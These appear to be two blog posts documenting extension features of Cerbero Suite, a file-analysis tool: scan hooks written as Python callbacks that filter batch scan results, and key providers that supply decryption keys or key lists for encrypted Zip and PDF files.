Hooks are an extremely powerful extension to the scanning engine of Cerbero Suite. They allow the user to do customize scans and do all sorts of things. Because there’s basically no limit to the applications, I’ll just try to give a brief introduction in this post. In the following post I’ll demonstrate their use with a real-world case.

Just like key providers introduced in the previous post, hooks have their INI configuration file as well (hooks.cfg). This can contain a minimal hook entry:

[Test Hook]
file = test_hooks.py
scanned = scanned

And the python code:

def scanned(sp, ud):
    print(sp.getObjectFormat())

scanned gets called after every file scan and prints out the format of the object. This function is not being called from the main thread, so it’s not possible to call UI functions. However, print is thread-safe and when doing a batch scan will just output to stdout.

Now let’s open Cerbero Suite and go to the new Extensions view.

Extensions view

You’ll notice that the box next to the name of the hook we just created is unchecked. This means that it’s disabled and hence won’t be called. We can enable it manually or we may even specify from the INI file to enable our extension by default:

[Test Hook]
file = test_hooks.py
scanned = scanned
enable = yes

We also specify the scan mode we are interested in:

; not specifying a mode equals to: mode = single|batch
mode = batch

Now the extension will be notified only when doing batch scans. To be even more selective, it’s possible to specify the file format(s) we are interested in:

; this is an optional field, you can omit it and the hook will be notified for any format
formats = PE|SWF

Ok, now let’s create a small sample which actually does something. Let’s say we want to perform a search among the disassembled code of Java Class files and include in the resulting report only those files which contain a particular string.

The configuration entry:

[Search Java Class]
file = test_hooks.py
scanned = searchJavaClass
mode = batch
formats = Class

And the code:

def searchJavaClass(sp, ud):
    from Pro.Core import NTTextBuffer
    cl = sp.getObject()
    out = NTTextBuffer()
    cl.Disassemble(out)
    # search string
    ret = out.buffer.find("HelloWorld") != -1
    sp.include(ret)

Let’s activate the extension by checking its box and then perform a custom scan only on files identified as Java Classes.

Class scan

The result will be:

Class report

The method ScanProvider::include(bool b) is what tells Cerbero Suite which files have to be included in the final report (its counterpart is ScanProvider::exclude(bool b)). Of course, there could be more than one hook active during a scan and a file can be both excluded and included. The logic is that include has priority over exclude and once a file has been included by a hook it can’t be excluded by another one.

Although the few lines above already have a purpose, it’s not quite handy having to change the code in order to perform different searches. Thus, hooks can optionally implement two more callbacks: init and end. Both these callbacks are called from the main UI thread (so that it’s safe to call UI functions). The first one is called before any scan operation is performed, while the latter after all of them have finished.

The syntax for for these callbacks is the following:

def init():
    print("init")
    return print  # returns what the other callbacks will get as their 'ud' argument

def end(ud):
    ud("end")

Instead of using ugly global variables, init can optionally return the user data passed on to the other callbacks. end is useful to perform cleanup operations. But in our sample above we don’t really need to clean up anything, we just need an input box to ask the user for a string to be searched. So we just need to add an init callback.

[Search Java Class]
file = test_hooks.py
init = initSearchJavaClass
scanned = searchJavaClass
mode = batch
formats = Class

And add the new logic to the code:

def initSearchJavaClass():
    from Pro.UI import ProInput
    return ProInput.askText("Insert string:")

def searchJavaClass(sp, ud):
    if ud == None:
        return
    from Pro.Core import NTTextBuffer
    cl = sp.getObject()
    out = NTTextBuffer()
    cl.Disassemble(out)
    # search string
    ret = out.buffer.find(ud) != -1
    sp.include(ret)

Of course, this sample could be improved endlessly by adding options, regular expressions, support for more file formats etc. But that is beyond the scope of this post which was just briefly introduce hooks.

The upcoming version of Cerbero Suite which includes all the improvements of the previous weeks is almost ready. Stay tuned!

Exposing the Core (part 3, Key Providers)

This post will be about key providers, which are the first kind of extension to the scan engine we’re going to see. Key providers are nothing else than a convenient way to provide keys through scripting to files which require a decryption key (e.g. an encrypted PDF).

Let’s take for instance an encrypted Zip file. If we’re not doing a batch scan, Cerbero Suite will ask the user with its dialog to enter a decryption key. While this dialog already has the ability to accept multiple keys and also remember them, there are things it can’t do. For example it is not suitable for trying out key dictionaries (copy and pasting them is inefficient) or to generate a key based on environmental factors (like the name of the file requiring the decryption).

This may sound all a bit complicated, but don’t worry. One of the main objectives of Cerbero Suite is to allow users to do things in the simplest way possible. Thus, showing a practical sample is the best way to demonstrate how it all works.

You’ll notice that the upcoming version of Cerbero Suite contains a keyp.cfg_sample in its config directory. This file can be used as template to create our first provider, just rename it to keyp.cfg. As all configuration files, this is an INI as well. This is what an entry for a key provider looks like:

[KeyProvider Test]
file = key_provider.py
callback = keyProvider
; this is an optional field, you can omit it and the provider will be used for any format
formats = Zip|PDF

Which is pretty much self explaining. It tells Cerbero Suite where our callback is located (the relative path defaults to the plugins/python directory) and it can also optionally specify the formats which may be used in conjunction with this provider. The Python code can be as simple as:

from Pro.Core import *

def keyProvider(obj, index):
    if index != 0:
        return None
    l = NTVariantList()
    l.append("password")
    return l

The provider returns a single key (‘password’). This means that when one of the specified file formats is encrypted, all registered key providers will be asked to provide decryption keys. If one key works, the file is automatically decrypted.

The returned list can contain even thousands of keys, it is up to the user to decide the amount returned. The index argument can be used to decide which bulk of keys must be returned, it starts at 0 and is incremented by l.size(). The key provider will be called until a match is found or it doesn’t return any more keys. Thus, be careful not to always return a key without checking the index, otherwise it’ll result in an endless loop.

When a string is appended to the list, then it will be converted internally by the conversion handlers to bytes (this means that a single string could, for instance, first be converted to UTF8 then to Ascii in order to obtain a match). Sometimes you want to return the exact bytes to be matched. In that case just append a bytearray object to the list.

The same sample could be transformed into a key generation based on variables:

from Pro.Core import *

def keyProvider(obj, index):
    if index != 0:
        return None
    name = obj.GetStream().name()
    # do some operations involving the file name
    variable_part = ...
    l = NTVariantList()
    l.append("static_part" + variable_part)
    return l

And this comes handy when we want to avoid typing in passwords for certain Zip archives which have a fixed decryption key schema.

So, to sum up key providers are powerful and easy-to-use extensions which allow us to test out key dictionaries on various file formats (those for which Cerbero Suite supports decryption) and to avoid the all too frequent hassle of having to type common passwords.